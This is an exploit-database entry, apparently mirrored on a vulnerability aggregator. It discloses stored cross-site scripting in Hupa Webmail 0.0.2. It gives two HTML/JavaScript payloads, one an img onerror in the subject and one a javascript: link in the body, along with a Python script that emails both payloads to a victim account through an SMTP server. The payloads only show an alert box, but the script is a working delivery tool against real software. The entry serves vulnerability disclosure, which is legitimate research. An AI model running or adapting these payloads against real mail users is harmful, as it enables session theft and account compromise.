hupa webmail 0.0.2 - Stored XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Hupa Webmail 0.0.2 Stored XSS in Subject and Email Body, Written in GWT, Lack of Modern Feature

                                                #!/usr/bin/python

&#39;&#39;&#39;

# Exploit Title: Hupa Webmail Stored XSS
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://james.apache.org/hupa/
# Software Link: http://repo1.maven.org/maven2/org/apache/james/hupa/hupa/0.0.2/hupa-0.0.2.war
# Version: 0.0.2
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

Hupa is an Rich IMAP-based Webmail application written in GWT (Google Web Toolkit).
Hupa has been entirely written in java to be coherent with the language used in the James project. And It has been a reference of a devloping using GWT good practices (MVP pattern and Unit testing)
Hupa is a functional and well designed email client, ready for reading, sending and managing messages, but it still lacks of many features email clients nowadays have.
Hupa Webmail Stored XSS in Subject 



Vulnerability Description
=========================

1. Stored XSS in email subject.

XSS Payload: XSS POC&#60;img src=&#39;1.jpg&#39;onerror=javascript:alert(&#34;XSS&#34;)&#62;

Send an email to the victim with the payload in the subject field.
XSS Will be triggered in message listings (Inbox etc..).


2. Stored XSS in e-mail body.

XSS Payload: &#60;a href=javascript:alert(&#34;AnotherXSS&#34;)&#62;POC MAIL&#60;/a&#62;

Send an email to the victim with the payload in the email body, once the user clicks on the url the XSS should be triggered.

&#39;&#39;&#39;

import smtplib

print &#34;###############################################&#34;
print &#34;#      Hupa Webmail 0.0.2 Stored XSS POC      #&#34;
print &#34;#            Coded by: Shai rod               #&#34;
print &#34;#               @NightRang3r                  #&#34;
print &#34;#           http://exploit.co.il              #&#34;
print &#34;#       For Educational Purposes Only!        #&#34;
print &#34;###############################################\r\n&#34;

# SETTINGS

sender = &#34;attacker@localhost&#34;
smtp_login = sender
smtp_password = &#34;qwe123&#34;
recipient = &#34;victim@localhost&#34;
smtp_server  = &#34;192.168.1.10&#34;
smtp_port = 25
subject = &#34;Hupa Webmail XSS POC&#34;
xss_payload = &#34;&#34;&#34;&#60;img src=&#39;1.jpg&#39;onerror=javascript:alert(&#34;XSS&#34;)&#62;&#34;&#34;&#34;

# SEND E-MAIL

print &#34;[*] Sending E-mail to &#34; + recipient + &#34;...&#34;
msg = (&#34;From: %s\r\nTo: %s\r\nSubject: %s\n&#34;
       % (sender, &#34;, &#34;.join(recipient), subject + xss_payload) )
msg += &#34;Content-type: text/html\n\n&#34;
msg += &#34;&#34;&#34;&#60;a href=javascript:alert(&#34;AnotherXSS&#34;)&#62;Click Me, Please...&#60;/a&#62;\r\n&#34;&#34;&#34;
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print &#34;[+] E-mail sent!&#34;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1